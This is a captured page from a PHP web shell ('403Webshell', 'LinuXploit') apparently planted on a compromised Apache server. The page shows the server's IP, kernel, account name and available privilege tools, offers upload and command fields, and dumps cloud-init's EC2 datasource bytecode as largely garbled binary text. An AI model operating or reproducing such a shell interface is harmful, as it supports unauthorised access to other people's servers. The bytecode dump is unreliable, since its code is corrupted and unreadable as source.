403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/sources/__pycache__/DataSourceEc2.cpython-36.opt-1.pyc
3

?q,d���@s~ddlZddlZddlZddlmZddlmZddlmZddlm	Z	m
Z
ddlmZddlm
Z
mZddlmZmZdd	lmZmZeje�Zeejg�Zd3Zd
ZdZdZdZedZ ee gZ!Gdd�de"�Z#Gdd�de
j$�Z%Gdd�de%�Z&dd�Z'dd�Z(dd�Z)dd�Z*d d!�Z+d"d#�Z,d$d%�Z-d&d'�Z.d(d)�Z/d4d+d,�Z0d-d.�Z1d/d0�Z2e&e
j3ffe%e
j3e
j4ffgZ5d1d2�Z6dS)5�N)�dmi)�	ec2_utils)�log)�net�sources)�
url_helper)�util�warnings)�
EventScope�	EventType)�EphemeralDHCPv4�NoDHCPLeaseError�
datasource�Ec2�	strict_id�warnzlatest/api/tokenZ21600zX-aws-ec2-metadata-tokenz-ttl-secondsc@s(eZdZdZdZdZdZdZdZdZ	dS)	�
CloudNamesZaliyunZawsZ	brightboxZzstack�e24cloud�unknownzno-ec2-metadataN)
�__name__�
__module__�__qualname__ZALIYUN�AWS�	BRIGHTBOX�ZSTACK�E24CLOUD�UNKNOWN�NO_EC2_METADATA�rr�#/usr/lib/python3.6/DataSourceEc2.pyr&srcs4eZdZdZddgZdZdddgZdZd	Zd
Z	e
jZdZ
ejejejejejhiZ�fdd
�Zdd�Zdd�Zdd�Zedd��Zedd��Zdd�Zdd�Zd9dd�Zdd�Z d d!�Z!ed"d#��Z"ed$d%��Z#d&d'�Z$ed(d)��Z%e�fd*d+��Z&d,d-�Z'e(fd.d/�Z)d0d1�Z*d2d3�Z+d:d4d5�Z,d;d7d8�Z-�Z.S)<�
DataSourceEc2rzhttp://169.254.169.254zhttp://instance-data.:8773z
2009-04-04z
2021-03-23z
2018-09-24z
2016-09-02�x�2NFcstt|�j|||�d|_dS)N)�superr �__init__�metadata_address)�self�sys_cfgZdistro�paths)�	__class__rrr$WszDataSourceEc2.__init__cCst�S)z5Return the cloud name as identified during _get_data.)�identify_platform)r&rrr�_get_cloud_name[szDataSourceEc2._get_cloud_namecCsttj|jtt�d�\}}tjd||j|j	�|dkrF|jt
jkrFdS|jt
jkrVdS|j
r�tj�rrtjd�dSy0t|j��tjtjd|jd�|_WdQRXWq�tk
r�dSXntjtjd|jd�|_|js�dS|jjdd�|_|jjd	d�|_|jjd
i�jdi�jdi�|_d
S)Nrz0strict_mode: %s, cloud_name=%s cloud_platform=%s�trueFz1FreeBSD doesn't support running dhclient with -sfzCrawl of metadata service)�logfunc�msg�funcz	meta-dataz	user-data�dynamiczinstance-identity�documentT)rN)�read_strict_moder�get_cfg_by_pathr'�STRICT_ID_PATH�STRICT_ID_DEFAULT�LOG�debug�
cloud_name�platformrrr�perform_dhcp_setupZ
is_FreeBSDr�fallback_interface�log_time�crawl_metadataZ_crawled_metadatar
�get�metadataZuserdata_raw�identity)r&Zstrict_modeZ_sleeprrr�	_get_data_sJ



zDataSourceEc2._get_datacCsN|js
dS|jjdi�jdi�}x(|jdi�j�D]\}}d|kr2dSq2WdS)z6Report if this instance type is Ec2 Classic (non-vpc).F�network�
interfaces�macszvpc-idT)r?r>�items)r&Z	ifaces_mdZ_macZmac_datarrr�is_classic_instance�sz!DataSourceEc2.is_classic_instancecCs|js
dS|jjd�S)Nzami-launch-index)r?r>)r&rrr�launch_index�szDataSourceEc2.launch_indexcCs.t|d�stjj�|_|js(tjj�|_|jS)N�_platform_type)�hasattrr �dsname�lowerrH)r&rrrr9�s

zDataSourceEc2.platformcCs�d}|j�}x�|jD]�}|j|j|�}ytj||td�}Wn2tjk
rl}ztj	d||�WYdd}~XqX|j
dkr�tj	d|�|S|j
dkrd}tj	|||j�qW|jS)	aEGet the best supported api version from the metadata service.

        Loop through all extended support metadata versions in order and
        return the most-fully featured metadata api version discovered.

        If extended_metadata_versions aren't present, return the datasource's
        min_metadata_version.
        z{0}/{1}/meta-data/instance-id)�url�headers�headers_redactzurl %s raised exception %sN��z#Found preferred metadata version %si�z0Metadata api version %s not present. Headers: %s)
�_get_headers�extended_metadata_versions�formatr%�uhelp�readurl�AWS_TOKEN_REDACT�UrlErrorr6r7�coderM�min_metadata_version)r&Zurl_tmplrMZapi_verrLZresp�er.rrr�get_metadata_api_version�s 
 

z&DataSourceEc2.get_metadata_api_versioncCsf|jtjkrXt|dd�sD|j�}tj||j|jt	|j
d�jdi�|_|jjd|j
d�S|j
dSdS)Nr@)�
headers_cbrN�exception_cbr1Z
instanceIdzinstance-id)r8rr�getattrrZ�ec2�get_instance_identityr%rPrU�_refresh_stale_aws_token_cbr>r@r?)r&�api_versionrrr�get_instance_id�s

zDataSourceEc2.get_instance_idcCs�|jtjkrdSg}i}t}d}x*|D]"}dj||�}	|j|	�|||	<q&Wtjd�d}
d}|j�}y,t	j
||j|jtj
|j|j|td�\}}
Wnt	jk
r�YnX|r�|
r�|
|_||SdS)aGet an API token for EC2 Instance Metadata Service.

        On EC2. IMDS will always answer an API token, unless
        the instance owner has disabled the IMDS HTTP endpoint or
        the network topology conflicts with the configured hop-limit.
        N�PUTz{0}/{1}zFetching Ec2 IMDSv2 API Token)�urls�max_wait�timeout�	status_cbr[r\�request_methodrN)r8rr�API_TOKEN_ROUTErR�appendr6r7�get_url_paramsrS�wait_for_url�max_wait_seconds�timeout_seconds�warningrP�_imds_exception_cbrUrV�
_api_token)r&�mdurlsrfrerd�url2base�url_pathrhrL�cur�response�
url_paramsrrr�_maybe_fetch_api_token�s<


z$DataSourceEc2._maybe_fetch_api_tokenc	Csx|j}|j�}|jdkrdS|jd|j�}dd�|D�}t|�t|�krdtjdtt|�t|���t	|�rr|}ntj
d�|j}|j|�}|o�|jt
jk�r g}i}dj|jd	�}d
}	x*|D]"}
dj|
|�}|j|�|
||<q�Wtj�}tj||j|jtj
t|j|	d�\}
}
|
�r ||
}|�r<||_tjd
|j�n4|jt
jk�rVtj
d�ntjd|ttj�|��t|�S)NrF�
metadata_urlscSsg|]}tj|�r|�qSr)rZis_resolvable_url)�.0�xrrr�
<listcomp>sz;DataSourceEc2.wait_for_metadata_service.<locals>.<listcomp>z,Removed the following from metadata urls: %sz+Empty metadata url list! using default listz{ver}/meta-data/instance-id)ZverZGETz{0}/{1})rdrerfrgrNr[rhzUsing metadata source: '%s'z)IMDS's HTTP endpoint is probably disabledz(Giving up on md from %s after %s seconds)�ds_cfgrkrmr>ry�setr6r7�list�lenrorxr8rrrRrXrj�timerSrlrnrUrPr%Zcritical�int�bool)r&ZmcfgrwrrZfilteredr%rdrsrtrhrLruZ
start_time�_rrr�wait_for_metadata_services\





z'DataSourceEc2.wait_for_metadata_servicecCs�d|jkrdSd}|jd}t|t�s6tjd|�dSx6|j�D]*\}}||krV|}P|dkr@|dkr@|}q@W|dkr�tjd|�dS|}|jd�s�d|}tjj	|�r�|S|j
tjj|��}|r�tjd||�|S|dkr�dS|S)	Nzblock-device-mappingz+block-device-mapping not a dictionary: '%s'Z	ephemeralZ
ephemeral0z Unable to convert %s to a device�/z/dev/%szRemapped device name %s => %s)r?�
isinstance�dictr6r7rE�
startswith�os�path�existsZ
_remap_device�basename)r&�name�foundZbdmZentnameZdeviceZofoundZremappedrrr�device_name_to_deviceTs8



z#DataSourceEc2.device_name_to_devicecCsPy6|jtjkr&|jjd|jdd�S|jddSWntk
rJdSXdS)NZavailabilityZoneZ	placementzavailability-zone)r8rrr@r>r?�KeyError)r&rrr�availability_zone�szDataSourceEc2.availability_zonecCsT|jtjkr6|jjd�}|jr2|r2|jdd�}|S|j}|dk	rP|dd�SdS)N�region����r�)r8rrr@r>r�)r&r�Zazrrrr��szDataSourceEc2.regioncCs,|sdS|jtjkr(ttj|tt�|�dS)N)r8rr�warn_if_necessaryrr3r4r5)r&�cfgZis_new_instancerrr�activate�szDataSourceEc2.activatecCs�|jtjkr|jS|jdkr*tjd�dSd}td|jkoD|jtj	k�}|rjtj
d�tjtj
d|j
d�|j}|jjd�}t|t�r�t||tj|jdd�d	�}|j�r�tj|j�|_|jtjjtj�|jtjjtj�ntjd
|�||_|jS)z@Return a network config dict for rendering ENI or netplan files.Nz8Unexpected call to network_config when metadata is None.rBzPMetadata 'network' not present: Refreshing stale metadata from prior to upgrade.zRe-crawl of metadata service)r-r.r/Zapply_full_imds_network_configT)�fallback_nic�full_network_configz%Metadata 'network' key not valid: %s.)�_network_configr�UNSETr?r6ror�r8rrr7rr<�get_datar;r>r�r��#convert_ec2_metadata_network_configZget_cfg_option_boolr}rF�copy�deepcopyZdefault_update_eventsr
�NETWORK�addr�BOOT�BOOT_LEGACY)r&�resultZno_network_metadata_on_awsZifaceZnet_mdrrr�network_config�sF





zDataSourceEc2.network_configcs:|jdkr4t|dd�}|r(||_d|_ntt|�jS|jS)Nr�)Z_fallback_interfacer]r�r#r r;)r&Z
_legacy_fbnic)r)rrr;�s
z DataSourceEc2.fallback_interfacec
Cs�|j�siS|j�}t}i}|jtjkr6|j}|j}nd}}yltj	||j
|j||d�|d<tj||j
|j||d�|d<|jtjkr�tj
||j
|j||d�}d|i|d<Wn$tk
r�tjtd|j
�iSX||d<|S)	z�Crawl metadata service when available.

        @returns: Dictionary of crawled metadata content containing the keys:
          meta-data, user-data and dynamic.
        N)r[rNr\z	user-dataz	meta-datazinstance-identityr0z'Failed reading from metadata address %sZ_metadata_api_version)r�rZrUr8rrr`�#_skip_or_refresh_stale_aws_token_cbr^Zget_instance_userdatar%rPZget_instance_metadatar_�	ExceptionrZlogexcr6)r&raZredactZcrawled_metadataZexc_cbZ	exc_cb_udr@rrrr=�sLzDataSourceEc2.crawl_metadatacCs~|jtjkrdStjd�t|i}dj|jt�}yt	j
||tdd�}Wn0t	jk
rv}ztj
d||�dSd}~XnX|jS)z�Request new metadata API token.
        @param seconds: The lifetime of the token in seconds

        @return: The API token or None if unavailable.
        Nz!Refreshing Ec2 metadata API tokenz{}/{}rc)rMrNrhz/Unable to get API token: %s raised exception %s)r8rrr6r7�AWS_TOKEN_REQ_HEADERrRr%rirSrTrUrVro�contents)r&ZsecondsZrequest_headerZ	token_urlrvrYrrr�_refresh_api_token-s 

z DataSourceEc2._refresh_api_tokencCs$tjtj||�}|sdS|j||�S)zSCallback will not retry on SKIP_USERDATA_CODES or if no token
        is available.F)r^Zskip_retry_on_codesZSKIP_USERDATA_CODESr`)r&r.�	exceptionZretryrrrr�Fs
z1DataSourceEc2._skip_or_refresh_stale_aws_token_cbcCs*t|tj�r&|jdkr&tjd�d|_dS)z=Exception handler for Ec2 to refresh token if token is stale.i�z+Clearing cached Ec2 API token due to expiryNT)r�rSrVrWr6r7rq)r&r.r�rrrr`Ps
z)DataSourceEc2._refresh_stale_aws_token_cbcCsDt|tj�r@|jr@|jdkr@|jdkr2tjd�n
tjd�|�dS)a2Fail quickly on proper AWS if IMDSv2 rejects API token request

        Guidance from Amazon is that if IMDSv2 had disabled token requests
        by returning a 403, or cloud-init malformed requests resulting in
        other 40X errors, we want the datasource detection to fail quickly
        without retries as those symptoms will likely not be resolved by
        retries.

        Exceptions such as requests.ConnectionError due to IMDS being
        temporarily unroutable or unavailable will still retry due to the
        callsite wait_for_url.
        i�i�zLEc2 IMDS endpoint returned a 403 error. HTTP endpoint is disabled. Aborting.z2Fatal error while requesting Ec2 IMDSv2 API tokensN)r�rSrVrWr6ro)r&r.r�rrrrpXs

z DataSourceEc2._imds_exception_cb�cCsH|jtjkriStti}t|kr$|S|js>|j�|_|js>iSt|jiS)z�Return a dict of headers for accessing a url.

        If _api_token is unset on AWS, attempt to refresh the token via a PUT
        and then return the updated token header.
        )	r8rrr��AWS_TOKEN_TTL_SECONDSrirqr��AWS_TOKEN_PUT_HEADER)r&rLZrequest_token_headerrrrrPss
zDataSourceEc2._get_headers)NN)N)r�)/rrrrJryrXrQZurl_max_waitZurl_timeoutrqrr�r�r:r
r�rZBOOT_NEW_INSTANCEr�r�ZHOTPLUGZsupported_update_eventsr$r+rArF�propertyrGr9rZrbrxr�r�r�r�r�r�r;r=r�r�r�r`rprP�
__classcell__rr)r)rr 4sH

1
	
1F3
	C
2

r cs$eZdZdZdZ�fdd�Z�ZS)�DataSourceEc2LocalayDatasource run at init-local which sets up network to query metadata.

    In init-local, no network is available. This subclass sets up minimal
    networking with dhclient on a viable nic so that it can talk to the
    metadata service. If the metadata service provides network configuration
    then render the network configuration for that instance based on metadata.
    Tcs4tjf}|j|kr&tjd||j�dStt|�j�S)Nz+Local Ec2 mode only supported on %s, not %sF)rrr8r6r7r#r�r�)r&Zsupported_platforms)r)rrr��s
zDataSourceEc2Local.get_data)rrr�__doc__r:r�r�rr)r)rr��sr�cCs8yt|�Stk
r2}ztj|�|Sd}~XnXdS)N)�parse_strict_mode�
ValueErrorr6ro)�cfgval�defaultrYrrrr2�s

r2cCs�|dkrd
S|dkrdS|s dS|jd�\}}}|d
krHtd||f��|r�yt|�}Wq�tk
r�}ztd	||f�|�WYdd}~Xq�Xnd}||fS)NTr,F�falserr�,zUInvalid mode '%s' in strict_id setting '%s': Expected one of 'true', 'false', 'warn'.z<Invalid sleep '%s' in strict_id setting '%s': not an integer)r,N)r�N)rr)r,r�r)�	partitionr�r�)r��moder��sleeprYrrrr��s*
r�cCs^yt|�\}}Wn*tk
r:}ztj|�dSd}~XnX|dkrHdStjd|d|d�dS)Nr�Z
non_ec2_mdT)r�r�)r�r�r6ror	Zshow_warning)r�r�r�r�rYrrrr��s
r�cCs4|djd�r0|ddks*|d|dkr0tjSdS)N�uuidr^�uuid_source�
hypervisor�serial)r�rr)�datarrr�identify_aws�sr�cCs|djd�rtjSdS)Nr�z.brightbox.com)�endswithrr)r�rrr�identify_brightbox�sr�cCs|djd�rtjSdS)N�	asset_tagz
.zstack.io)r�rr)r�rrr�identify_zstack�sr�cCs|ddkrtjSdS)N�vendorr)rr)r�rrr�identify_e24cloud�sr�cCsrt�}ttttdd�f}xT|D]L}y||�}|r4|SWqtk
rh}ztjd|||�WYdd}~XqXqWdS)NcSstjS)N)rr)r{rrr�<lambda>�sz#identify_platform.<locals>.<lambda>z'calling %s with %s raised exception: %s)�_collect_platform_datar�r�r�r�r�r6ro)r�ZchecksZcheckerr�rYrrrr*�s

r*cCs�i}ytjd�j�}d|d<Wn&tk
rDtjd�}d|d<YnX|dkrRd}|j�|d<tjd	�}|dkrtd}|j�|d
<tjd�}|dkr�d}|j�|d<tjd
�}|r�|ndj�|d<|S)a9Returns a dictionary of platform info from dmi or /sys/hypervisor.

    Keys in the dictionary are as follows:
       uuid: system-uuid from dmi or /sys/hypervisor
       uuid_source: 'hypervisor' (/sys/hypervisor/uuid) or 'dmi'
       serial: dmi 'system-serial-number' (/sys/.../product_serial)
       asset_tag: 'dmidecode -s chassis-asset-tag'
       vendor: dmi 'system-manufacturer' (/sys/.../sys_vendor)

    On Ec2 instances experimentation is that product_serial is upper case,
    and product_uuid is lower case.  This returns lower case values for both.
    z/sys/hypervisor/uuidr�r�zsystem-uuidrNr�r�zsystem-serial-numberr�zchassis-asset-tagr�zsystem-manufacturerr�)rZ	load_file�stripr�rZ
read_dmi_datarK)r�r�r�r�r�rrrr�s*




r�TcCs�did�}|stj�}|dd}|s�x|j�D]\}}||kr0Pq0Wddd|j�i|d�}|j|�}	|	jd	�rxd|d
<||d|<|Sd}
x�t|j��D]�\}}|j|�}	|	s�q�t|	jd
|
��d}
d|
di}d|dd|j�i|d�}|	jd	��rd|d
<||d<t|	|�|d<|d�s(|jd�||d|<q�Wt	|d�dk�r�x<|dj
�D],}|d|jd�|d|jdd��qXW|S)aConvert ec2 metadata to network config version 2 data dict.

    @param: network_md: 'network' portion of EC2 metadata.
       generally formed as {"interfaces": {"macs": {}} where
       'macs' is a dictionary with mac address as key and contents like:
       {"device-number": "0", "interface-id": "...", "local-ipv4s": ...}
    @param: macs_to_nics: Optional dict of mac addresses and nic names. If
       not provided, get_interfaces_by_mac is called to get it from the OS.
    @param: fallback_nic: Optionally provide the primary nic interface name.
       This nic will be guaranteed to minimally have a dhcp4 configuration.
    @param: full_network_config: Boolean set True to configure all networking
       presented by IMDS. This includes rendering secondary IPv4 and IPv6
       addresses on all NICs and rendering network config on secondary NICs.
       If False, only the primary nic will be configured and only with dhcp
       (IPv4/IPv6).

    @return A dict of network config version 2 based on the metadata and macs.
    �)�version�	ethernetsrCrDTFZ
macaddress)�dhcp4�dhcp6�matchzset-name�ipv6sr�r�rz
device-numberr�zroute-metric�d)r�zdhcp4-overridesr�r�zset-namezdhcp6-overrides�	addresseszdhcp4-overridesN)rZget_interfaces_by_macrErKr>�sortedr��get_secondary_addresses�popr��keys)Z
network_mdZmacs_to_nicsr�r�ZnetcfgZ
macs_metadata�macZnic_nameZ
dev_config�nic_metadataZnic_idxZ
dhcp_overriderrrr�/sR







r�cCs�|jd�}|jd�}g}tt|t�o.t|�dk�rH|jt|d||d��tt|t�o^t|�dk�rx|jt|d||d��t|�S)z�Parse interface-specific nic metadata and return any secondary IPs

    :return: List of secondary IPv4 or IPv6 addresses to configure on the
    interface
    zlocal-ipv4sr�r�zsubnet-ipv4-cidr-blockZ24zsubnet-ipv6-cidr-blockZ128)r>r�r�rr��extend�_get_secondary_addressesr�)r�r�Zipv4sr�r�rrrr�xs

r�c
Cs�g}|j|�}|}|s*t|jd��dkrPd|kr6dnd}tjd|||||�n|jd�d}x(|dd�D]}	|jdj|	|d	��qlW|S)
z�Return list of IP addresses as CIDRs for secondary IPs

    The CIDR prefix will be default_prefix if cidr_key is absent or not
    parseable in nic_metadata.
    r�r�Zipv4Zipv6zJCould not parse %s %s for mac %s. %s network config prefix defaults to /%sr�Nz
{ip}/{prefix})�ip�prefix)r>r��splitr6rorjrR)
r�Zcidr_keyr�ZipsZdefault_prefixr�Zcidrr�Zip_typer�rrrr��s 
r�cCstj|t�S)N)rZlist_from_depends�datasources)Zdependsrrr�get_datasource_list�sr�)rrr)NNT)7r�r�r�Z	cloudinitrrr^rZloggingrrrrSrr	Zcloudinit.eventr
rZcloudinit.net.dhcprr
Z	getLoggerrr6�	frozensetZ	NOT_FOUNDZSKIP_METADATA_URL_CODESr4r5rir�r�r�rU�objectrZ
DataSourcer r�r2r�r�r�r�r�r�r*r�r�r�r�ZDEP_FILESYSTEMZDEP_NETWORKr�r�rrrr�<module>sR
Y!

,
H


Youez - 2016 - github.com/yon3zu
LinuXploit